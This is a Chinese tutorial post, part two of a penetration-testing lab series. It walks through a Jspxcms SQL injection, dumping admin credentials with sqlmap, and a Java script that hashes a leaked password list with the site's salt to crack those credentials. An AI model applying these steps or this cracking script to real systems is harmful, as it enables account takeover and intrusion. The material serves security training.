域渗透之外网打点到三层内网（二）

2023-02-14 179

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

简介： 域渗透之外网打点到三层内网

6.Jspxcms-SQL注入

首页发现可以注册用户和进行登录。首先搜索历史漏洞，看看有没有getshell的地方。

4db4e74398345f2000b2405b4d342750_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

发现先知的大佬做过找个版本的代码审计。参考链接：https://xz.aliyun.com/t/10891?page=1#toc-7。发现可以通过文件上传进行gethshell。

d1434f6efc2643501ef402b898fb428a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

在之前的tomexam的数据库中，发现存在jspxcms，试试查找一下管理员的用户和信息。

d25bf03862d6b3826758f685d86e84cb_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

使用sqlmap进行查找表、用户和吗密码。

133f33fc593a604275d94c433e16f865_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

成功发现了用户名和加密的密码。密码推断是明文密码+salt然后再进行md5加密。

808e90392d509b2c97ef6ae2159e598c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

7.编写解密脚本

通过其源码，分析其加密方式，然后编写解密脚本。

package com.jspxcms.core;
import com.jspxcms.common.security.SHA1CredentialsDigest;
import com.jspxcms.common.util.Encodes;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.Scanner;
public class Testmain {
  public static void main(String[] args)throws Exception {
    byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
    SHA1CredentialsDigest test = new SHA1CredentialsDigest();
    String fileName = "D:\\csdnpass.txt";
    String fileName2 = "D:\\hashpassword2.txt";
    try (Scanner sc = new Scanner(new FileReader(fileName))) {
      while (sc.hasNextLine()) {
        String line = sc.nextLine();
        String encPass = test.digest(line, salt);
        File f = new File(fileName2);
        FileWriter fw = new FileWriter(f, true);
        PrintWriter pw = new PrintWriter(fw);
        pw.println(line + " " + encPass);
        pw.close();
     }
   }
 }
}